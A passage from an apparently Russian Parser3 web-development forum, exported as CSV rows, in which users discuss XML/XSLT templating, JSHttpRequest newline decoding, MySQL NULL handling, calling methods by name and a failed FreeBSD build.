<select name=\"некая_таблица\">\
^некая_таблица.menu{\
<option value=\"$некая_таблица.id\">$некая_таблица.поле</option>\
}\
</select>\
[/code]\
\
это просто пример есть и сложнее замены, в xslt еще раз я могу передать только единственный хэш строк, а не все объекты парсера.\
\
сейчас я эти преобразования делаю match'ем используя поиск по регулярным выражениям. И конкретно мне интересно [b]что правильнее и быстрее[/b] парсить матчем кусочки текста xml и потом собирать в окончательный xdoc или собирать кусочки в xdoc'ки сразу и пробегать по ним select'ом а потом привязывать к основному xdoc"
"56184","я бы добавлял xdoc, просто потому что в куче матчей со сложными условиями гораздо проще ошибиться, потом они могут наложится друг на друга и состаришься пока отладишь. В xpath всё куда прозрачней, чем в регэкспах. Будет понятней - будет проще поддерживать. Понятный код - мой выбор."
"56186","то, что убрав %0D, у меня исчезает перевод строки напроч. Я полученную переменную вставляю в textarea и получаю всё слитое вместе...\
\
вот что я делаю...\
[code]\
lal=escape(document.getElementById(\"number1\").value);\
var req = new Subsys_JsHttpRequest_Js();\
req.onreadystatechange = function() {\
	if (req.readyState == 4) {\
		if (req.responseJS) {\
			document.getElementById(\"page\").innerHTML =req.responseJS.q;\
		}\
	}\
}\
req.caching = false;\
req.open('POST', '/mypath/', true);\
req.send( { \
		q:10,\
		z: lal } );\
.......\
<textarea id=\"number1\" style=\"width:100%;height:200px\">Пишу Вася\
{перевод строки}\
здесь был</textarea>\
\
\
на парсере ответ:\
$z[$hRequest.z] $z[^z.replace[^JSHttpRequest:_getDecodeTable[]]]\
$hParserVariable[\
	 $.q[<textarea style=\"width:100%^;height:500px^;\">$z</textarea>]\
]\
\
\
Получаю на странице текстовое поле со значением:\
Пишу Вася{перевод строки}здесь был\
\
\
А мне нужно чтоб получило так же как и было:\
Пишу Вася\
{перевод строки}\
здесь был\
\
\
Таким образом, сделав в _getDecodeTable[] такие фиксы:\
%0D%0A	^#0A\
%0D	^#0A\
%0A	^#0A\
%09	^#09\
\
у меня всё замечательно отправляется и принимается, КРОМЕ этого перевода строки."
"56187","Здравствуйте,\
\
Есть задача: отдать удаленному скрипту параметры POST-ом, не дожидаясь загрузки результата, результат может оказаться многомегабайтным.\
\
При попытке воспольоваться опцией limit получил ошибку:\
[quote]offset and load options are not supported for HTTP:// file load[/quote]\
\
Использование метода HEAD не подойдет. Есть ли вообще такая возможность, даже не на парсере?\
Видимо, если эти опции работают только для локальных файлов, значит у авторов либо не было необходимости, либо не смогли реализовать такое.\
\
Да, еще, просто описка в выдаче ошибки: наверное хотели ошибку так описать: offset and [b]limit[/b] options are not supported for HTTP:// file load"
"56188","вообще, видимо у Вас совсем размытое понятие xsl и xml.\
\
Делаете метод\
@eto_xml[]\
<?xml version=\"1.0\" encoding=\"windows-1250\"?>\
<a>\
<input name=\"bla-bla\" value=\"bla-bla\"/>\
<select name=\"некая_таблица\">\
^некая_таблица.menu{\
<option value=\"$некая_таблица.id\">$некая_таблица.поле</option>\
}\
</select>\
</a>\
\
Делаете \
$xml[^eto_xml[]]\
$sourceDoc[^xdoc::create{$xml}]\
$transformedDoc[^sourceDoc.transform[shablon.xsl]\
^transformedDoc.string[$.method[html]]\
\
\
Таким образом, Вы генерите обычный xml так же как и html, а потом делаете xsl трансформацию (шаблон Вашего замечательного сайта).\
И пользуйтесь Вы своими базами сколько хотите... :)\
\
\
ps: советую поскорее это всё изучить, Вам проще сайты будет делать... Да и дизайны тоже..."
"56189","минусы для меня в приведенном вами примере:\
\
а) xml определяется в коде скрипта, поэтому и будут выполнятся инструкции parser, а не во внешнем источнике.\
б) имя [i]\"некая_таблица\"[/i] жестко задано в скрипте и в xml\
в) данные смешаны с кодом\
г) для другого xml и тд придется снова писать вывод таблицы, а функция может быть гораздо сложнее\
\
представьте существует база типов журналов с уникальными ID но картинка у них постоянно меняется с выходом нового номера (ID остается прежним) я в xml шаблоне блока вывода журналов напишу так:\
\
...\
<system:image id=\"2\"/>\
...\
\
когда этот xml достанет мой скрипт, он обратится к хэшу journals полученному из БД найдет соответствующие поля: $journals.2.path и $journals.2.image и сгенерирует:\
<a href=\"{$journals.2.path}\"><img src=\"{$journals.2.image_path}\" /></a>\
(все это только простейший пример)\
\
но я уже могу не беспокоится, что у журнала №2 сменится картинка в БД и мне придется переписывать xslt шаблон или скрипт.\
Конечно же это преобразование может выполнить какой то общий xslt, но только если ему известен хэш $journals а если таких хэшей может быть много, если состав хэша или таблицы заранее неизвестен, я могу конечно сгенерировать xslt с ОЧЕНЬ большой кучей <xsl:param> на каждый хэш или таблицу скрипта системы, но сколько памяти слопает это чудовище при преобразовании?"
"56191","Когда перекодировал escape символы таблицей в JSHttpRequest.p, получилась такая ситуация. я прописал команду ^untaint[js]{$z} где $z - строка после реплейса (в ней есть переводы строки). Так вот эти переводы не преобразовались в \\n\
\
Вот я и решил спросить почему такая фишка и как её избежать...\
\
в качестве примера, я привожу код, где в $z написан код предложения. в $z1 - это же предложение в нормальном человеческом виде. Вот и получается, что после перекодирования строки должны получится одинаковыми, но почему-то это не так.\
\
Вернее, может так оно и должно быть, но мне нужно получить на выходе равные строки.\
\
[code]\
$z[%27%u0428%u043B%u0430%27%20%u0421%u0430%u0448%u0430%20%u043F%u043E%0D%0A%u0448%u043E%u0441%u0441%u0435%20%u0438%20%u0441%u043E%u0441%u0430%u043B%u0430%20%22%u0441%u0443%u0448%u043A%u0443%22]\
$z[^z.replace[^_getDecodeTable[]]]\
$z1['Шла' Саша по\
шоссе и сосала \"сушку\"]\
#$z[^z.replace[$js]]\
^if($z eq $z1){Строки равны}{Строки не равны}\
<textarea style=\"width:100%^;height:200px\">^taint[js][$z]</textarea>\
<textarea style=\"width:100%^;height:200px\">^taint[js][$z1]</textarea>\
\
@_getDecodeTable[]\
$result[^table::create{from	to\
%u2116	№\
%u0430	а\
%u0431	б\
%u0432	в\
%u0433	г\
%u0434	д\
%u0435	е\
%u0451	ё\
%u0436	ж\
%u0437	з\
%u0438	и\
%u0439	й\
%u043A	к\
%u043B	л\
%u043C	м\
%u043D	н\
%u043E	о\
%u043F	п\
%u0440	р\
%u0441	с\
%u0442	т\
%u0443	у\
%u0444	ф\
%u0445	х\
%u0446	ц\
%u0447	ч\
%u0448	ш\
%u0449	щ\
%u044A	ъ\
%u044B	ы\
%u044C	ь\
%u044D	э\
%u044E	ю\
%u044F	я\
%u0410	А\
%u0411	Б\
%u0412	В\
%u0413	Г\
%u0414	Д\
%u0415	Е\
%u0401	Ё\
%u0416	Ж\
%u0417	З\
%u0418	И\
%u0419	Й\
%u041A	К\
%u041B	Л\
%u041C	М\
%u041D	Н\
%u041E	О\
%u041F	П\
%u0420	Р\
%u0421	С\
%u0422	Т\
%u0423	У\
%u0424	Ф\
%u0425	Х\
%u0426	Ц\
%u0427	Ч\
%u0428	Ш\
%u0429	Щ\
%u042A	Ъ\
%u042B	Ы\
%u042C	Ь\
%u042D	Э\
%u042E	Ю\
%u042F	Я\
%20	^#20\
%21	!\
%22	\"\
%23	#\
%24	^$\
%25	%\
%26	&\
%27	'\
%28	(\
%29	)\
%2B	+\
%2C	,\
%3A	:\
%3B	^;\
%3C	<\
%3D	=\
%3E	>\
%3F	?\
%5B	^[\
%5C	\\\
%5D	^]\
%5E	^^\
%60	`\
%7B	^{\
%7C	|\
%7D	^}\
%7E	~\
%0D	^#0D\
%0A	^#0A\
%09	^#09\
}]\
[/code]"
"56192","Да видимо, очень размытое....\
Вы работаете фактически как с html... отличий нет вообще, кроме закрытых тегов. Только Вы обычно останавливались на том что вывелся html и ни какой дополнительной обработки. А тут Вы ставите команду трансформировать и получаете на выходе все данные, только внедрённые в ваш дизайн. Если Вам нужно из одного файла выполнить методы другого файла, используйте use.\
\
а) Верно, xml - это часть скрипта на парсере. (про \"а не во внешнем источнике\" - вообще не понял, что имеется в виду)\
б) Имя некая таблица... ну если вы в обычном скрипте напишите имя \"некая_таблица\", то оно тоже будет жестко задано в скрипте. В чём тут отличие работы xml и html я не вижу... :)\
в) данные и так смешаны с кодом, только в случае с xml для Вас всё будет гораздо наляднее и понятнее, чем тот же скрипт с html где будет прописаны немеренное количество стилей и т.д.\
г) как будто в случае с html вам этого не придётся делать.\
\
<a href=\"{$journals.2.path}\"><img src=\"{$journals.2.image_path}\" /></a>\
тоже самое можно написать и в xml...\
\
ну смотрите мой код:\
[code]\
$pages_items[^db.table{	SELECT id, title, descr, tumb, src, date, sortin\
		                  FROM `${plugin_config.db_img}`\
		                  WHERE id>10\
		                  ORDER BY sortin ASC\
                     }]\
^pages_items.menu{\
		<image>\
			<id><![CDATA[$pages_items.id]]></id>\
			<title><![CDATA[$pages_items.title]]></title>\
			<descr><![CDATA[$pages_items.descr]]></descr>\
			<tumb><![CDATA[$pages_items.tumb]]></tumb>\
			<src><![CDATA[$pages_items.src]]></src>\
			<date><![CDATA[$pages_items.date]]></date>\
			<sortin><![CDATA[$pages_items.sortin]]></sortin>\
		</image>\
	}\
[/code]\
и что тут ужастного? вывел в нормальном виде xml с динамическими данными о картинке.\
Потом в Dreamweaver, я делаю дизайн шаблона как у меня будут показываться картинки. Захочу, сделаю все подряд рядом поставлю, захочу могу флэш сделать с подгрузкой этих картинок, захочу в яваскриптом заменять картинки. (кстати, вот как работает именно этот xml - http://skazka.artgroup.ru/portfolio/1/)\
\
А вот то что генерит картинки в галлерее (xsl):\
[code]...\
<td align=\"center\"><img id=\"img_portf\" >\
    <xsl:attribute name=\"src\"><xsl:value-of select=\"//site/contents/fotogallary/image/src\" disable-output-escaping=\"yes\"/></xsl:attribute>\
    <xsl:attribute name=\"alt\"><xsl:value-of select=\"//site/contents/fotogallary/image/title\" disable-output-escaping=\"yes\"/></xsl:attribute>\
    </img></td>\
...\
\
\
<div style=\"overflow:auto; width:580;height:170;\"><nobr>\
      <xsl:for-each select=\"//site/contents/fotogallary/image\">\
        <img style=\"cursor:pointer;\" border=\"0\" hspace=\"3\" vspace=\"3\">\
        <xsl:attribute name=\"src\"><xsl:value-of select=\"tumb\" disable-output-escaping=\"yes\"/></xsl:attribute>\
        <xsl:attribute name=\"alt\"><xsl:value-of select=\"title\" disable-output-escaping=\"yes\"/></xsl:attribute>\
        <xsl:attribute name=\"onClick\">\
          document.all.img_portf.src='<xsl:value-of select=\"src\" disable-output-escaping=\"yes\"/>';\
          document.all.img_portf.alt='<xsl:value-of select=\"title\" disable-output-escaping=\"yes\"/>';          </xsl:attribute>\
        </img>\
        \
        </xsl:for-each></nobr></div>\
\
...[/code]\
\
Если этого не достаточно, тогда я думаю, мне тут помочь нечем :) тем более что я от темы увел ... :)\
\
\
PS: Чёрт! Я сегодня в ударе! на писанину... :)"
"56193","Этот же запрос в MySQL возвращает NULL, а в парсере таблицу длиной 1 без значений.\
\
Может, это все-таки глюк/баг?"
"56194","на будущее - я вполне представляю как работают xslt преобразования, спасибо за примеры, но для меня они очевидны\
\
а) внешний источник - например файл с xml на другом сервере, или запись xml в БД и основной смысл как раз в работе с xml из ВНЕШНИХ источников\
б) как раз скрипт не знает какой объект у него попросят, это не его дело, он попытается выполнить действия с запрошенным объектом, который в свою очередь могут создать или могут не создать другие скрипты\
в) ^pages_items.menu{<image>.... - вот здесь данные xml шаблона смешанны с кодом\
у меня в xml шаблонах кода нет, но они подстраиваются под конкретные активные данные системы\
г) речь идет не про html\
\
ваш приведенный пример у меня выглядел бы так, при чем в сам свой скрипт я не добавил бы не строчки кода, просто в загрузчике данных загрузил бы еще один объект $pages_items из БД.\
[code]\
<system:list name=\"pages_items\" tag=\"image\">\
<id></id><title></title><descr></descr><tumb></tumb><src></src><date></date><sortin></sortin>\
</system:list>\
[/code]\
это чистый xml не содержащий ни грамма парсерного кода, но тем немение на преобразование xslt шаблоном попало бы тоже самое что у вас (и речь и идет об этих преобразованиях)"
"56199","Не с хэшами, а с хэшфайлами. 3.1.3, по-моему, просто не ругался в некоторых случаях двойного открытия хэшфайла."
"56200","Как говорит Misha, нужно формировать человекопонятный xml. На мой взгляд, код, приведённый Vasik'ом, понятен, Ваш - нет.\
\
Лучше использовать вариант в)."
"56201","мы не знаем глобальную задачу, которую решает код Klen'a может быть унифицировать структуру гораздо проще, чем иметь кучу разнородных объектов. Примерно тоже самое вопрос как сделать лучше для каждой формы делать отдельный xml-тег или или сделать общие теги для всех форм."
"56204","Во-первых, поосторожнее с созданием таблицы:\
\
[code]%0D	^taint[^#0D]\
%0A	^taint[^#0A]\
%09	^taint[^#09][/code]\
\
Во-вторых, ^taint[js][text] почему-то не эскейпит ^#0D в \\r, и если Вы напишете в яваскрипте\
\
[code]var str = ^taint[js][$str];[/code]\
\
где $str содержит ^#0D, то получите ошибку \"Незавершённая строковая константа\".\
\
Поскольку \\r в яваскрипте вообще ни к чему, я делаю так:\
\
[code]^taint[js][^str.match[\\r][g]{}]][/code]"
"56206","[quot]Как говорит Misha, нужно формировать человекопонятный xml. На мой взгляд, код, приведённый Vasik'ом, понятен, Ваш - нет.[/quot]\
а) Vasik привел не xml, он привел парсерный код смешанный с xml\
б) И этот код понятен вам, тк вы знаете parser :)\
\
просто мне хочется чтобы в базах у меня хранились чистые XML отделенные от парсерного кода, я считаю что так система будет масштабированнее и более независимой.\
\
а спецконструкций сейчас не так уж и много:\
<system:list>  - выводит список xml заданного parser объекта\
<system:map>   - выводит дерево xml заданного parser объекта\
<system:value> - значение заданного обьекта, включая parser класс form\
\
синтаксис их не сложен, и мне такой вариант кажется удобным. Просто как их парсить в скрипте (см 1е мое сообщение в ветке) я еще окончательно не решил, думал мб кто то уже использует какое то такое решение, посоветует.\
\
насчет в) - мб, но пока забросил и остановился на match, вернусь к этому моменту позже"
"56207","но вообще я пытаюсь написать смс на parser :)"
"56208","Если данные хранятся во внешнем источнике (на другом сервере), то откуда там могли взяться инструкции <parser></parser>?\
\
Если данные хранятся в Вашей бд, то задача Парсера - сюрприз! - сформировать из них xml и передать xslt-шаблону.\
\
Парсер берёт данные в одном виде и переводит в другой. Где здесь смешивание кода?\
\
Значение выражения \"xml-шаблон\" осталось для меня загадкой."
"56209","У меня:\
[code]\
$table[^oSQL.table{select item_id as mx from table where item_id = -10}]\
^if(def $table){def}{undef} - undef\
^if(def $table.mx){def}{undef} - undef\
^if(def $table.id){def}{id} - ошибка, т.к. колонки нет\
^table.count[] - 0\
[/code]"
"56211","Никто не заставляет Вас хранить парсерный код в базе.\
\
Чистые xml - понятие относительное. Если взять в качестве примера публикацию, то хранить заголовок вместе с текстом бессмысленно. Ведь тогда для формирования оглавления придётся загружать xml всех статей и собирать заголовки.\
\
А если заголовок хранить в отдельном столбце, то достаточно использовать небольшой парсерный код:\
\
@auto[]\
$issue[^table::sql{\
select title, body from article where id=$id\
}]\
\
@main[]\
<issue>\
<title>$issue.title</title>\
<body>$issue.body</body>\
</issue>\
\
Это не смешение кода, это преобразование данных из одного вида (таблица) в другой (xml)"
"56212","http://www.parser.ru/forum/?id=41276\
\
хорошая мысль испачкать табы и переносы в таблице замен :)\
[code]\
%0D%0A	^taint[^#0A]\
%0D	^taint[^#0A]\
%0A	^taint[^#0A]\
%09	^taint[^#09]\
[/code]"
"56213","<parser></parser> это всего лишь теги они ни в одном месте не говорят о том что их будет обязательно обрабатывать parser\
\
данные смешанные с кодом, это и есть данные смешанные с кодом, помоему фраза очевидна.\
<test id=\"^getSomeID[]\">bla-bla</test> - это данные смешанные с кодом\
\
мб я неправильно выражаюсь\
вот реальный мой пример из моей базы\
[code]\
<block_content>\
<form method=\"post\" action=\"\" name=\"sites_del\" id=\"commentform\"\
 description=\"Удаление сайта {$system/sites/now/name}\">\
<system:list name=\"sites\" description=\"Список сайтов системы\"\
 m_name=\"site_id\" checked=\"\" />\
<input type=\"button\" name=\"button\" class=\"textInput\"\
 onclick=\"saveForm('sites_del','#sites','{$system/objects/38/\
full_path}')\"  description=\"Подтверждение удаления\" value=\"Удалить\"/>\
<field type=\"hidden\" name=\"action\" value=\"delete\" />\
<field type=\"hidden\" name=\"table_name\" value=\"m_site\" />\
</form>\
</block_content>\
[/code]\
я это называю xml шаблоном, он создает некий xml который потом xslt шаблон преобразует в html формы и он лежит в БД\
тут 2 спецконструкции:\
[b]<system:list name=\"sites\" description=\"Список сайтов системы\" m_name=\"site_id\" checked=\"\" />[/b]\
и\
[b]{$system/objects/38/full_path}[/b]\
\
1я вставляет xml вида (приблизительно тк лень уже писать):\
^sites.menu{ <point id=\"$sites.id\">$sites.name</point>}\
2я вставляет значение $objects.38.full_path\
и этот xml хранится в базе\
преобразование это делает сам скрипт\
\
вы же мне предлагаете в базе хранить:\
[code]\
<block_content>\
<form method=\"post\" action=\"\" name=\"sites_del\" id=\"commentform\" description=\"Удаление сайта\">\
^sites.menu{ <point id=\"$sites.id\">$sites.name</point>}\
<input type=\"button\" name=\"button\" class=\"textInput\" \
onclick=\"saveForm('sites_del','#sites','$objects.38.full_path')\"\
  description=\"Подтверждение удаления\" value=\"Удалить\"/>\
<field type=\"hidden\" name=\"action\" value=\"delete\" />\
<field type=\"hidden\" name=\"table_name\" value=\"m_site\" />\
</form>\
</block_content>\
[/code]\
не валидный xml смешанный с кодом Parser, от чего я как раз хочу избавится\
\
а если я когда нибудь решу вместо parser использовать perl? или определенные xml обрабатывать cgi скриптами, да мало ли чего, экспортировать их... В вашем случае мне придется переписывать и xml'ки тоже...\
\
конечно я новичок, но мне мой подход кажется пока логичным"
"56214","В примере явно указана функция MAX()."
"56215","Добавил MAX().\
table: def,\
mx: undef,\
count: 1\
Возвращается таблица с единственным столбцом mx, значения у которого нет."
"56216","[code]\
$file[^file::load[binary;^taint[as-is][http://parser.ru/]][\
	$.timeout(1)\
	$.method[^method.upper[]]\
	$.any-status(1)\
	$.form[\
		$.-//-[-//-]\
		$.-//-[-//-]\
		$.-//-[-//-]\
	]\
]][/code]\
\
такой код работает, но если добавить опцию $.limit(1), то получим ошибку:\
[quote]offset and load options are not supported for HTTP:// file load[/quote]\
\
если файл локальный, то код отрабатывает без ошибок"
"56217","О том и речь, что MySQL возвращает NULL, а парсер нет, из-за чего может возникнуть много косяков.\
\
Если использовать GROUP BY вместе с MAX(), то все работает нормально, таблица не определена, а без группировки определена."
"56218","Я пытался вывести в яваскрипт текст, который был внесён в базу не парсером. И долго не мог понять, почему возникает ошибка. Может быть, стоит добавить в ^taint[js][text] удаление 0D?"
"56220","Не стоит пытаться загнать в бд всё на свете. В базе данных хранятся только данные. А приведённый код лучше хранить в обычном файле."
"56221","Почему лучше хранить в обычном файле?\
И какая разница в чем его хранить?"
"56222","Я понимаю, что проблем с парсером нет, ну не предусмотрен лимит при загрузке файла с удаленного сервера. Но надо реализовать это, желательно на парсере, а если невозможно, то может кто подскажет, на каком языке можно передать POST-параметры, и не дожидаться ответа. \
Хотя у меня уже появлялась мысль просто убивать процесс через секунду после начала загрузки."
"56224","Там проблема у него скорее всего в другом, хэшфайлов там нет (вроде) :)\
Начиная с 3.1.4 какие-то очень нелогичные глюки происходят.\
2BeLyan - там надо переписать все давно было чтобы новые версии не глючили и было удобнее. Проблема именно в webadmin где-то"
"56225","поставить нужно в fckconfig.js\
FCKConfig.FullPage = false ;\
и тегов не будет"
"56226","Люди....геморой с со связкой парсера с апачом..я установил парсер в в папку cgi-bin, прописал настройки в файл httpd..не пашет=("
"56229","а как создать файл .htaccess ведь данное имя воспринимается как разрешение?"
"56232","текущий вопрос: тестовая страница выполняется, а личная - нет. пишет такую фразу:\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, my__nocs_1@sibmail.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception."
"56233","Переписать конечно нужно, но на это нужно время.\
Сейчас нужно чтобы сайт заработал, некогда переписывать, а значит нужна версия 3.1.3 для FreeBSD."
"56234","Приношу извинения за свою некомпетентность, но что именно требуется сделать я не понял"
"56235","теперь видно, что основной auto.p подключился, сработал метод @unhandled_exception, и напечатал цепочку вызовов."
"56236","мы в 3.2.1 избавились «от него, от упыря» (c) Филатов."
"56237","сам Parser при работе с внешними данными ($form:field, $file.text) приводит всевозможные переносы строки к 0A.\
\
http://www.parser.ru/docs/src/pa__common_8C-source.htm#l00067"
"56238","к переменной я зная ее имя могу обратится так\
$[name] ... а к методу? \
[code]\
@auto[]\
$name1[value]\
$name2[method]\
$value[VALUE]\
\
@method[]\
METHOD\
\
@main[]\
Значение переменной с именем: $name1 - $[$name1]\
Вызов метода с именем: $name2 - ^^[$name2][]\
[/code]\
этот код не работает, как написать правильно?"
"56239","как видим, таблица состоит из одной строки, одной ячейки.\
значение этой ячейки пусто (NULL).\
согласно документации на table.load совсем пустые строки входного файла игнорируются.\
соответственно, если необходимо, чтобы table.save/load выдал что нужно, обязательно использование $.encloser[\"]"
"56240","^table.count[] равен 1.\
не 0.\
соответственно, таблица «определена»."
"56241","попробуйте на http://rsdn.ru или http://sql.ru\
уверен, запросто найдёте или готовый ответ, или помощь.\
\
мы тоже можем помочь, но ленимся.\
особенно не хочется длинный код ;)"
"56243","возможно, что-то общеизвестное.\
ничего \"хитрого\" не было, все небольшие изменения опубликованы.\
уверен, дело простое = \"чинится\" просто.\
\
старые версии для новых операционок нам собирать недосуг.\
все исходники доступны для скачивания, если кому действительно нужно, соберёт себе сам."
"56244","Почему с группировкой ^table.count[]=0, а без ^table.count[]=1?"
"56246","буквально такое нам не нужно было = мы не делали такую опцию.\
\
правда не уверен, что авторы wget об этом подумали и подобную опцию предоставляют.\
\
в крайнем случае у вас всегда есть возможнось запустить маленький скрипт на perl. под него есть куча библиотек, уверен, найдётся и такая, что умеет желаемое."
"56247","специально для вас написали…"
"56248","я не очень понимаю, о чём толкуете.\
когда возникают сомнения, можно воспользоваться mysql client.\
в командной строке пишете\
[code]\
mysql -uПОЛЬЗОВАТЕЛЬ -pПАРОЛЬ -hУЗЕЛ БАЗА_ДАННЫХ\
[/code]\
и вводите ваши команды.\
\
если вам кажется, что parser выдаёт что-то не так, выполните команду в консоли, получили не то, что в parser = придите сюда и приведите код+текст из консоли."
"56249","PS: теперь можно обновить класс на сайте... думаю это стоит того!"
"56250","в одну команду нельзя. в две:\
[code]\
$method[$$name]\
^method[params]\
[/code]\
\
ещё можно посмотреть рассуждения тут\
http://www.parser.ru/forum/?id=14317 и тут\
http://www.parser.ru/forum/?id=20720"
"56251","[code]\
@auto[]\
$name1[value]\
$name2[method]\
$value[VALUE]\
\
@method[]\
METHOD\
\
@main[]\
Значение переменной с именем: $name1 - $$name1\
$_method[$$name2]\
Вызов метода с именем: $name2 - ^_method[]\
[/code]"
"56252","Если Вы делаете CMS, то сразу скажу, лучше по изучайте xsl трансформацию и Вы избежите многих сложностей! Например, если захотите сделать ещё один сайт с такой-же функциональностью, и другим дизайном, то Вам потребуется пол дня, максимум день на реализацию этой мысли! А так как вы делаете сейчас... Вы будете сидеть и очень долго париться!!! Более того, вы сможете продавать систему (если до этого дойдёт) и тогда ЛЮБОЙ xsl верстальщик сможет сделать дизайн на ваш сайт!\
\
Я всё сказал... думаю тут уже нечего добавлять, так как разговор заходит в тупик..."
"56253","очень познавательный совет :) я прийму его к сведению обязательно\
\
Мне очень жаль но суть вопроса вы не поняли, но искреннее спасибо за участие."
"56254","Извиняюсь, немного не в тему, но все же:\
есть идея сделать подсветку синтаксиса скриптов (для публикации на вёбе) при помощи xslt-преобразования. Скрипт хранится в XML в виде <![CDATA[что-либо]]>.\
\
Поискал в интернете - готовых решений не нашел. Может быть тут какие-то принципиальные загвоздки есть, а я не вижу? Кажется, всё вполне реально и очень полезно."
"56255","Вам нужно преобразовать скрипт в XML. А затем уже брать в руки XSLT.\
\
К примеру, на этом форуме так, [i]по сути[/i], и происходит: [url=\"http://www.parser.ru/examples/pcolorer/\"]Цветовая раскраска Парсеровских скриптов[/url]."
"56256","хотел работать со строкой. насчет регулярных выражений уже всё понял...\
\
а как работать без cdata, если у меня скрипт на php, к примеру?\
получается, парсинг скрипта нужно будет делать до записи в XML..."
"56257","Такая ситуация... Я подгружаю (JSHttpRequest) на страницу блок HTML. Там есть значения <div id=\"xxx\"> но по Id этот блок не достать. Там есть Javascript функции, при попытке обращения к которым, выдаётся ошибка JavaScript. Т.е. Всё равно что функций этих нет.\
\
Думаю, так и должно быть, но может кто-то смог обойти эту фичу?"
"56258","юзайте prototype.js"
"56259","А где про этот prototype.js почитать??? и вообще, про что это Вы?"
"56262","[code]$hRequest[^JSHttpRequest:decodeRequest[]]\
$hParserVariable[\
	 $.q[	<div class=\"page_title\">Управление сайтами.</div>\
	 	<textarea id=\"xml_domens_group\" style=\"display:none\">\
				текст...\
		</textarea>\
		<script language=\"JavaScript\">\
		  function zzz(){\
			alert(document.getElementById('xml_domens_group').innerHTML)^;\
			}\
		</script>\
		<a href=\"#\" onClick=\"zzz()\">посмотеть</a> \
		]\
][/code]\
при нажатии на кнопку - не срабатывает... Кстати, я попробовал сделать так - onClick=\"alert(document.getElementById('xml_domens_group').innerHTML)\" и сработало! Значит с ID норма, а вот с определениями функций javascript - нет... :("
"56263","или у вас внутри что-то вставляется парсером?"
"56269","попробуйте передать ваш скрипт\
[code]^JSHttpRequest:printResponse[-> вот тут <-;$hParserVariable][/code]тогда он не попадет в taint js и может выживет, хотя не уверен..."
"56270","[url=\"http://www.dustindiaz.com/json-for-the-masses/\"]формат данных[/url], который используется библиотекой при передаче ответа позволяет передавать клиенту не только поля [url=\"http://www.dklab.ru/chicken/nablas/38.html#cont2\"]объекта[/url] но и их методы. Проблема в том, как указать сериализатору (см. @_object2js[]) что мы передаем ему не строку, а код на javascript, и следовательно никаких кавычек и ^taint[js] ему делать не надо, иначе он просто не будет работать.\
\
Как вариант решения мы можем создать простенький пользовательский класс \"function\", и все javascript-методы перед передачей оформлять как объекты этого класса. Ну и в @_object2js[] дописать что-то вроде\
[code]|| ($uVar is \"function\" && ^self._return[function(^uVar.arguments[]){^uVar.print[]}])[/code]\
\
можно предлагать более элегантные варианты :)"
"56271","думаю, это хорошая мысль... На счёт function - хорошая мысль, только я пока не очень представляю, как это реализовать... :(\
с изменением в классе JSHttpRequest.p - ясно... дальше - абстрактно...\
Получается, JS передавать, как очередной параметр... Что будет в классе - мне не ясно. :(\
а вызывать типа ^function:create[.... сам скрипт.....] или как-то по другому? нет, мне пока это не ясно... не ясно, сто будет в классе..."
"56272","в принципе не обязательно для FreeBSD 6.1\
можно старую версию для старой операционки\
\
ошибки такого рода:\
select , , , from where lang='' and =0 order by sequence\
то есть пропали именя полей почему-то"
"56273","Здравствуйте!\
Собираю парсер.\
конфигур все сделал без ошибок все библиотеки собраны.\
[code]\
  $ ./configure --prefix=/home/uXXXX/parser3install --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster --with-static-gc=/home/uXXXX/p3/gc/lib --with-static-xml=/home/uXXXX/p3/parser3/gnome --with-static-mailreceive=/home/uXXXX/p3/parser3/gnome --silent\
[/code]\
\
а вот после команды\
[code]make install[/code]\
сначала все как надо но вдруг!\
[code]\
....\
source='image.C' object='image.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../sql -I../lib/gd -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../lib/sdbm/apr-include -Igd  -I/home/uXXXX/p3/parser3/gnome/include -I/home/uXXXX/p3/parser3/gnome/include/libxml2 -I../lib/md5 -I../lib/smtp     -g -O2 -c -o image.o image.C\
image.C: In method `EXIF_tag_value2name::EXIF_tag_value2name()':\
image.C:152: virtual memory exhausted\
*** Error code 1\
\
Stop in /home/uXXXX/p3/parser3/src/classes.\
*** Error code 1\
\
Stop in /home/uXXXX/p3/parser3/src.\
*** Error code 1\
\
Stop in /home/uXXXX/p3/parser3.\
uXXXX@be14$\
\
[/code]\
\
по форуму искал,  ответов не нашел кроме упоминания PAF'ом http://www.parser.ru/forum/?id=27813 \
\
UPD:\
\
Версия используемого компилятора\
[code]\
> gcc -v\
Using builtin specs.\
gcc version 2.95.4 20020320 [FreeBSD]\
[/code]\
\
\
Что сделать чтоб собрать? Помогите плиз!"
"56274","минимум изменений :)\
[code]\
|| ($uVar is \"hash\" && \
      (\
            ($uVar && ^self._return[^self._hash2js[$uVar]])\
         || (def $uVar._default && ^self._return[$uVar._default])\
         || ^self._return[null]\
      )\
)\
[/code]\
\
теперь простейший пример из статьи по предыдущей ссылке\
[code]var obj = {\
	// string\
	a : 'sampleValue',\
	// array\
	b : [obj1,obj2,'three',4,obj5],\
	// function\
	c : function() {\
		var bang = this.a;\
	}\
}[/code]\
может выглядеть примерно так:\
$obj[\
      $.a[sampleValue]\
      $.b[$._default[[obj1,obj2,'three',4,obj5]]]\
      $.c[$._default[function() {\
		var bang = this.a^;\
	}\
]]\
]"
"56275","Передавать в ajax куски html с javascript не очень хорошее дело. Даже если у вас что-то формируется парсером, то лучше всего это всё оформить в xml и передать яваскрипту, а уже на стороне скрипта правильно всё разобрать и правильно построить объекты согласно DOM модели. Таким макаром вы убъёте двух зайцев: ускорите процесс выдачи данных, и разгрузите процессор сервера; за что он вам непременно скажет спасибо."
"56276","в таком случае что вам мешает написать собственный вывод?\
\
Чтобы у вас скрипт возвращал требуемую строку вида:\
\
[code]\
Subsys_JsHttpRequest_Js.dataReady('id','ваши данные',...)\
[/code]\
\
А из класса брать только обработку запроса... Я так делаю у себя в Типографе и не жужжу :)"
"56277","Да... Вы правы! Но я думаю, пока этого не делать... а может и вообще не делать. Так как данные очень разнородные... и описывать их в javascript очень долго... быть может потом как-нибудь... ;)"
"56278","мне не очень понятно... передать передаём, но на стороне клиента что делается? Как запустить переданную функцию? и можно ли передавать много функций в одном $.c?\
\
Вот сейчас у меня на стороне клиента\
[code]\
